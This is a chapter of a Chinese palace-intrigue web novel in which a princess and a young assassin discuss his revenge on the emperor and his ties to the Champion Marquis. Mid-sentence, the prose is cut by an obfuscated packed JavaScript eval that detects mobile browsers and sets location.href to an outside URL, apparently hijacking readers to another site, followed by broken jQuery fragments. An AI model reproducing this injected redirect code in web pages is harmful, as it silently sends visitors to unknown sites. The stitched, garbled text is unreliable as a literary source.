60. 第 60 章

作品:《不要招惹一个疯子

    裴玉荷被禁了足,并不能去看皇帝如今究竟怎么了。


    只能通过抚青的口中得知,帝王今日一早醒来时半张脸红肿得骇人,甚至连早朝都没有去上。


    据说发了不小的脾气。


    而如今王贵妃正赶过去。


    据御医说,那红肿极其诡异,短时间内恐怕难以恢复。


    而如今距离圣上的生辰宴已不足一月,若是不能早点好全,到那时各国前来拜寿使臣瞧见颜面大失,可不是小事。


    裴玉荷没想到,不过短短一夜的功夫,少年居然当真为她报了仇。


    若是平日里她或许会心情很好,但这个时间段出这档子事,关系的已经不仅仅是皇帝的颜面了。


    而是整个大晟的脸面。


    裴玉荷将少年拉了过来,撞上那双微亮的黑眸,她眨了眨眼,“你什么时候去的?”


    周怀砚挑眉,“怎么?下次想跟我一起去?”


    裴玉荷倒是想去,但就她的身手,恐怕还没靠近就被发现了。


    “昨夜你不是不愿留我吗,”少年微微眯眼,“我心情不好,便去了。”


    “怎么?”见少女的表情怪异,他凑近,“后悔没有把我留下了?”


    确实,若是知道他居然要去做这一出,她怎么也会拦一拦。


    她拉了拉少年的衣襟,将自己心中的忧虑告诉他,没想到少年只是恶劣一笑。


    “怎么叫做丢了大晟的脸面?”他提醒她,“只要大晟国富兵强,那些小国就算见那皇帝肿成了猪头也得夸一句威风。”


    这话虽糙,但理不糙。


    可如今的大晟并非像他所说的国富兵强,自从冠军侯一事至今,大晟的边关像是中了什么邪。


    近三年来,边关各国蠢蠢欲动,几次险胜,险些丢去城池。


    许多人甚至开始传谣说,是冠军侯将大晟出卖给了其他国,才导致的大晟此等模样。


    因此此次的生辰宴不只是皇帝的生辰,更是他国来朝的试探。


    尤其是匈奴,近些年来极其嚣张,屡屡犯我边境,态度也极其无理。


    虽不敢做得太绝,却总是意图试探找麻烦,让人防不胜防。


    但好在还有所顾忌。


    而其中有冠军侯铁骑威慑仍不可小觑,还有裴兴朝这个当今圣上的毒辣手段,惯会杀一儆百。


    去年生辰宴时,吓坏了不少小国侍者,那些蠢蠢欲动的势力消停了一段时间。


    不过持续时间不长,最近时间又开始各怀心思,试探底线。


    恐怕生辰宴不会多太平。


    听完裴玉荷的描述,周怀砚陷入了沉思。


    不过片刻后,他好笑道:“那与我又有什么关系?”


    裴玉荷眉头缓缓隆起,不可置信道:“怎么会没有关系?”


    在发现少年无所谓的态度后,裴玉荷的心沉了下去。


    她很感激他想要为她谋不平,但如今并不是时候。


    她不能指责眼前人,因为他也是为了她。


    或许不是,也可能是为了好玩,为了发泄,但在裴玉荷心中,他的所作所为确实让她舒心了不少。


    裴玉荷心情很复杂,于是她让抚青随时注意外面的消息后,就将自己关在了寝宫里,暂时谁都不想见。


    少年几次来敲门,都被她用各种理由给搪塞了回去。


    但她明白,若他想进来自然有的是办法,不需要经过她的同意。


    果然,裴玉荷刚练完字,半开的窗户便打开了。


    柔顺的青丝从上方垂下,裴玉荷眼皮一跳。


    少年不知道用了什么法子,居然从窗子上方倒吊下来,被他梳好的头发此刻松松垮垮的,如瀑布般遮挡住了窗外的所有景色。


    仿佛要从窗子外爬进来的鬼。


    “……”


    她垂下眼,决定眼不见为净,可那扰人视线的长发被风吹得荡来荡去,不远处卷来的落叶像是感受到了喜爱的气息,轻轻地贴在了那黑发上,落下了一个吻。


    她知道他招这些花花叶叶的喜爱,但没想到这样也能贴上来。


    看见那片绿叶,总让人想要去摘下来。


    裴玉荷干脆起了身,决定换一个地方。


    可她刚站起来,椅子拖拉的动静惊醒了黑发的主人。


    一双黑眸从上方露出出来,但半截脸仍然被窗户上方所遮挡。


    “你在躲着我。”少年的语气肯定,甚至还有一丝不易察觉的委屈。


    裴玉荷叹了口气,重新坐了回去,“我没有躲你,我只是安静一会儿。”


    “我在你不也挺安静的?”那双黑眸仿佛在说话,少年清朗的嗓音顺着风卷了进来。


    裴玉荷无言以对。


    犹豫了片刻,她觉着这样确实不太好,于是她在那双紧紧盯着自己的眼眸中,将前臂贴在桌面上,整个人向前探去。


    与那双黑眼睛不过咫尺。


    “我能问你个问题吗?”她很认真。


    少年点头,垂落的黑发随之晃动。


    “在你眼里,你觉得最重要的是什么?”


    周怀砚那双眼睛看着他,久久没有说话,甚至连眼睛都没有眨。


    裴玉荷以为问到了什么不能问的,没想到下一句,他将问题抛了过来。


    “那你呢?你觉得最重要的是什么?”


    这个问题,其实在很小起,裴玉荷就已经有了答案。


    那时候更多的,是来自娘亲的灌输。


    而随着年龄的增长,曾经她认为最重要的事在环境的影响中逐渐变得虚无缥缈,因为她接触不到。


    直到这段时间,她流落民间,从瑚州到黎州的所见所闻,让她小时候通过娘亲口中得知的东西逐渐具象化。


    直到在黎州,在郝黎生,在与黎州百姓们的相处下,到达了顶峰。


    她抿唇答道:“或许由我来说,会显得很可笑,因为我改变不了什么,或者说很难去改变。但之前现在,在我眼里最重要的是国泰民安。”


    “是不是有点假?”毕竟这个从她这种人口中出来,像是为了彰显自己的道德,但实际上只是为了满足虚假的一面,说给那些想听的人。


    但这确实是娘亲自幼便为她灌输的教育,不仅仅是她,包括如今的瑞王。


    窗外的黑眸眨了眨,“是有点。”


    “……”


    裴玉荷顿时不想和他多说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077525|158837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,刚要收回胳膊,外面就探出一只手将她的双腕拽住。


    “你不想听听我的吗?”


    这句话让她放弃了挣扎,而是重新看了回去。


    那双黑眸仍然一眨不眨地盯着她,少年的声音很慢,带着股与平时不符的懒散温吞:“你。”


    “嗯?”裴玉荷没明白。


    “我怎么了?”


    “啧,”周怀砚瞪了她一眼,良久后才正经回答,“其实我也不知道。”


    裴玉荷惊讶。


    “别这样看着我,我是真的不知道,”那双黑眸茫然,像是遇到了什么难题,“我对以前的事情印象很模糊,如今在我看来,唯一有意思的就是找到曾经的那份记忆吧。”


    裴玉荷忽然想到了他对冠军侯的在意,犹豫片刻问他,“你那份记忆和冠——”


    她停顿了一下,“和鹤至有关?”


    虽然周怀砚知道此事不能随便告知他人,在面对少女好奇的注视时,他鬼使神差地点了点头。


    其实不要承认,裴玉荷也能猜到。


    从《游湖记》到黎州外公谈论到冠军侯时少年的反常,无一不在证实那人对他的重要性。


    想到有关冠军侯的传言,裴玉荷的话就在嘴边,但很快被她咽了回去。


    她先是警惕地上前,在少年疑惑的目光下拨开他那瀑布般披散的黑发,四处打量并没有看见别的身影。


    也确实,少年这姿势倒挂在他窗外,若是被他人瞧见,恐怕得受不小的惊吓。


    周怀砚明白过来她想做什么,瘪了瘪嘴,“你每次和我一起就偷偷摸摸的,好像见不得人。”


    裴玉荷闻言将那分开的长发给合拢,抬头看他,“若你每次都不是以这种奇怪的方式,我也不至于偷偷摸摸。”


    “再者,”她收回了手,站了起来,“你进不进来?”


    只见眼前一黑。


    外面的人利落地跳了进来。


    裴玉荷都怕他磕到脑袋,但显然,我们暗阁第一杀手,对于小小的翻窗户而言,简直是易如反掌。


    今日他将那身藕粉色外衣换下,换成了青竹长袍。


    逆着光,好似生长出来挺拔的竹精。


    不过竹精在进来以后,便没了个正形,非常自来熟地找了个位置,坐在了她原本坐的桌后,椅背朝前看着她。


    两只手放在椅背上,那张秀美的脸便趴在了上方,一眨不眨地看着她。


    裴玉荷默默地移开了视线。


    “怎么一直没看见抚青她们?”


    “不知道,”周怀砚并不关注这些,“关我何事。”


    裴玉荷语噎,


    她就不该问。


    “若你想知道外面有人没,”少年歪了歪头,“没有,你想说什么可以放心说,就算是有人,我也能让其在听到什么之前先——”


    裴玉荷上前捂住了他的嘴,“好了,不用说了,没人就行。”


    她在维持着这个姿势下,微微俯身凑近,对上那双黑眸,“我一直很好奇一件事,你和冠军侯究竟是什么关系?”


    “或者说,”她紧盯着那双眼睛,试图找出什么,“你与他那个病逝的孩子究竟有什么关系?”